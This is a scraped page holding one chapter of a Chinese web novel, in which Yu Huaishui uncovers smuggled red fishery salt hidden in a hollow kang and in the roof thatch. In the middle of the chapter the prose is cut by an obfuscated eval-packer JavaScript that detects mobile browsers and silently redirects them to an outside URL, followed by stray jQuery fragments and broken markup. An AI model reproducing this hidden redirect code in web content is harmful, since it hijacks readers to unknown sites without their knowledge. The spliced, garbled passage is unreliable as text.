默认冷灰
24号文字
方正启体

32.私盐

作者:金灿灿_本书字数:K更新时间:
    房门破开,火光照映下屋里扬起一片好大的尘土,这实在是不应该,若真是李成几人常住的屋里,定然是不会积灰的。


    林大头几人对望一眼,也不用余淮水吩咐,拆开门板便朝屋里涌去。


    屋子不大,进了门便是连排的大通铺,一张桌几条板凳,寨子里给没成家的男丁住的几乎都是这样的屋子。


    一眼望去,屋里空空荡荡,光秃秃的炕面上连被褥都没有几条,实在不像能藏东西的模样。


    余淮水跟着进屋,目光圈巡过每个能藏东西的地方,身后有跟来看热闹的乡民,聚在外头小声的窃窃私语。


    “不是说我屋里藏盐了吗!”


    见余淮水安静,李成又梗着脖子喊起来,他两眼瞪的通红,唾沫横飞地骂着,一副要吃人的模样。


    “你害了大当家,还想害我?!我告诉你臭娘们儿,今儿不给我个说法,我让你吃不了兜着走!”


    骂声充斥屋内,余淮水本就烦躁的厉害,听了没几句便抽出一条薄被来,三两下卷起一把塞进了李成污言秽语的嘴里。


    “嫂夫人,的确还没翻出什么。”


    林大头带着人将锅灶、衣橱还有几个能藏东西的地方全抬出去翻了一遍,连炕席都给掀了,的确是没找出什么可疑的东西来。


    “不然,我们把地给挖开?说不定这厮把东西藏在地底了。”


    林大头也是急了胡乱出主意,这地面是黄土夯的,极为厚实的一层,且住了许久都被踩得变了颜色,若是被翻土挖开藏那些私盐,定会非常明显。


    余淮水摆了摆手看了屋内一圈,总觉得有哪里不对,他在屋里缓慢踱步,细致地看着唯一留下的灶台。


    这灶台看着用了许久了,边缘有磕碰,锅底也烧的漆黑,四周散乱着枯草木柴,可地面却十分潮湿冰冷,显然已经很久没有烧过。


    余淮水忽然伸手摸向灶膛,左右一探,发现这灶膛里竟干干净净,没有什么柴火烧过的灰。


    “林大头。”


    余淮水沉声道:“把这炕给我砸了。”


    李成发出一声急促的呜咽,他旁边的男人也耐不住性子,瓮声瓮气地喊:


    “你把俺们炕砸了,俺们以后睡啥!”


    “炕灶都凉透了,该有个把月没住过人,你们既然不爱睡这屋里,还要这炕做什么?”


    余淮水冷冰冰地一挥手:“砸。”


    立刻有乡民急匆匆拎着几把锄头过来,都不用林大头招呼,几个年轻力壮的就挥起锄头开始砸炕。


    北方的炕大多是泥砌的,外头一层泥板,里头是中空的内膛,原本为了保暖,四周的泥板会砌的厚实一些,可乡民几锄头下去便发现不对。


    这炕砌的太薄了,别说睡得暖和,怕是多躺几个人都会塌。


    几个乡民对视一眼,挖的更加卖力。


    李成一伙像是打了霜的茄子,也不反抗辱骂,全都歪七扭八地倒在地上。


    炕面被砸开,又扒去上面的泥块,炕灶里赫然躺着数十个麻绳口袋,鼓鼓囊囊,一看便知是什么东西。


    余淮水举起一直攥在手里的苗刀,用力戳进一只口袋,刀刃拔出,红色的盐粒倾泻而下。


    果然是私盐。


    大明治下,沿海多捕鱼为生,百姓出海捕鱼又储存不久,便会将鱼腌渍为鱼干以便保存。


    可官盐太贵,腌鱼用的盐多用便宜的渔盐,若有剩余是要统一上交保存在司库中的。


    为确保渔民不会倒卖渔盐,这些渔盐会被染成红色用以区分官盐,而盐贩倒卖,便是从这些渔盐下手。


    “妈的,还真有!”


    林大头爆喝一声,朝着李成狠踹几脚,一把拽出他口中的被褥骂道:


    “狗杂碎!你还有什么好说的!”


    “我...”


    李成眼珠子一转,瞪向一旁的余淮水:


    “我们是许久没睡这屋子了!可也不能保这就是我们藏得啊!”


    “就是!”


    他身边的几个男人回过神来,叽叽嚓嚓地狡辩:“万一是你背着人将这些盐藏在我们屋里的呢?”


    “说不准就是这样,这是反过来陷害我们!”


    见他们还能嘴硬狡辩,余淮水向屋外看去,翠翠几人已经拿了衣裳回来,正战战兢兢地等在外头。


    “给我吧。”


    余淮水过去拿来她手里的几件棉袄,进到屋里就地铺开。


    “翠翠,那日你们说这几件袄子是他们的,有什么凭证吗?”


    “有!”王家妹妹已经缓过来了,她灵活地蹿进屋,扑在那几件棉袄跟前,翻开袖口给余淮水看。


    那袖口上缝了一个小小的符号,两道横一道竖,没有什么意义。


    “我们平日缝的衣裳多,寨子里的男丁衣裳又都长得大差不差,就想了这么个法子来分辨。”


    翠翠说着,也一同上前将这几件衣服铺开,几个不同的符号的露了出来,林大头强硬地扒开李成几人的袖口,一一都对应上了。


    寨子里的姑娘都做过缝补衣裳的活计,这个规矩也都是知道的,人堆里响起一片应和声。


    “是我们的又怎样?”李成一头雾水,可还是梗着脖子,一副余淮水说什么他都不松口的模样。


    “你们搬盐进来,不过肩扛手提几种方式,盐粒细碎,这口袋又是麻绳编制的,难免... 留下这些。”


    余淮水一抖衣裳,那灰布脖子竟簌簌地落下粉尘来,袖口的确是破损的厉害,再翻开衣领,一层盐晶凝聚在布料之上,在火光下异常醒目。


    事已至此,再也无可辩驳。


    “李成。”余淮水撇垃圾般将那衣裳扔回地上,拖着刀走到李成跟前。


    “你认吗?”


    “... ”李成的脸扭曲起来,他想要反驳,可证据都摆在眼前,任他怎么反咬,怕是寨子里不会有人再信他了。


    人堆里的议论声逐渐大了起来,有住的近的婶子惊讶地开了口:


    “哎哟!俺说前不久这夜里外头总有人影晃悠,俺还当是闹鬼了.... 该不是这几个小子半夜在偷着运盐吧?”


    “我说他们几个最近怎么那么阔绰,成天下山喝酒,哪来的那么多钱?”


    “打一早我就瞧出他们不是什么好东西!大当家心善没把他们赶出去,他们还做出这么不要脸的事!”


    众人看向余淮水的目光热切起来,原本因为臧六江被抓走而慌乱的人们稍稍安定下来。


    “淮水姐,你太厉害了!”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15069065|160945||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>王家妹妹翻过炕去看那些私盐又被林大头赶了出来,她挨着余淮水,不停嘴地夸着。


    “你们发现了又怎么样!”李成突然大叫起来,他装不下去索性破罐子破摔。


    “盐已经运进来了!明天日头一亮,官老爷带人进来搜寨!你们一个都跑不掉!”


    “我们跑不掉,你们也跑不掉!”


    翠翠狠狠地啐了一口,若不是她嫌脏,真想上去给李成两个嘴巴。


    “俺们有官老爷护着!”李成身边那个男人喊起来,他两眼瞪得滚圆,像一头得了病的疯牛。


    “那朱有德若真想护着你们,刚刚就该带着你们一道离开,而不是把你们留在这寨子里。  ”


    余淮水抬高了声音,毫不留情地嘲讽这几个脑袋简单的草包。


    “他围了整个寨子的时候,可有吩咐放过你们几人?”


    李成一行人瞬间变了脸色,朱有德走时连看都没看他们一眼,更别提什么放过他们。


    林大头气的脑袋更大了,拍着巴掌骂道:“咱们和朱有德打过多少交道,你们狗脑子!?还敢信他!”


    李成耷拉着脑袋不敢还口,可一双眼还是贼溜溜地乱转,应该是还没死心。


    余淮水也不想再跟这样背恩弃义的人多费口舌,叮嘱林大头将这几个人拖下去严加看管,待臧六江回来后再发落。


    眼下,将这些盐换个地方的藏起来才最为要紧,不然明天官府搜寨,这罪名也就板上钉钉了。


    “哼。”李成一行人里不知是谁发出一声冷笑,莫名突兀,让余淮水停住了脚。


    “妈的,谁还敢笑!”


    林大头还在气头上,跳着脚过去揪起李成来,李成被牵连连喊冤枉,屋子里又吵闹起来。


    的确,在如今事情败露的情形下谁还敢笑,又为什么而笑。


    余淮水四下看去,土炕已经被砸,灶台里也是空空荡荡,屋里再没了能藏东西的地方,难道真如林大头所说要将地挖开,才能安...


    余淮水看向地面的脑袋轻轻一僵,随后抬头向屋顶看去。


    北方天冷,工匠为隔开冷风,修屋顶时都会在瓦檐下续上干草,余淮水的目光扫过那些干燥老旧被掖在梁上的草席,看不出什么异样。


    林大头正要揍李成两拳泄愤,便见余淮水突然搬过一条板凳横在梁下,他仰头紧盯着屋顶,踏上板凳。


    “淮水,你怎么了?”


    翠翠看板凳摇摇晃晃怕他摔了,刚要上前搀扶,便见余淮水举起刀来对准了屋顶。


    他的个头不高,可加上板凳再配上这柄刀,刚刚好戳到屋顶。


    就是这样刚好,余淮水猛然一刺,屋顶中便发出哗啦啦的响声,随后,一缕红色从草席间如柱般流淌而下。


    余淮水接了一把,那干燥细碎的手感,不是盐还会是什么。


    阴招使到这个地步,这朱有德还会暗度陈仓,余淮水心想自己真是小瞧了他。


    跳下板凳,余淮水绕着被捆成粽子的李成一伙转了几圈,目光落在一个矮瘦的男人身上。


    那男人两腮咬的死紧,眼睛瞪得鼓胀,一副濒临爆发的盛怒模样。


    余淮水走到那男人眼前,用刀背敲了敲他的小腿:“如何,还有漏下的吗?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)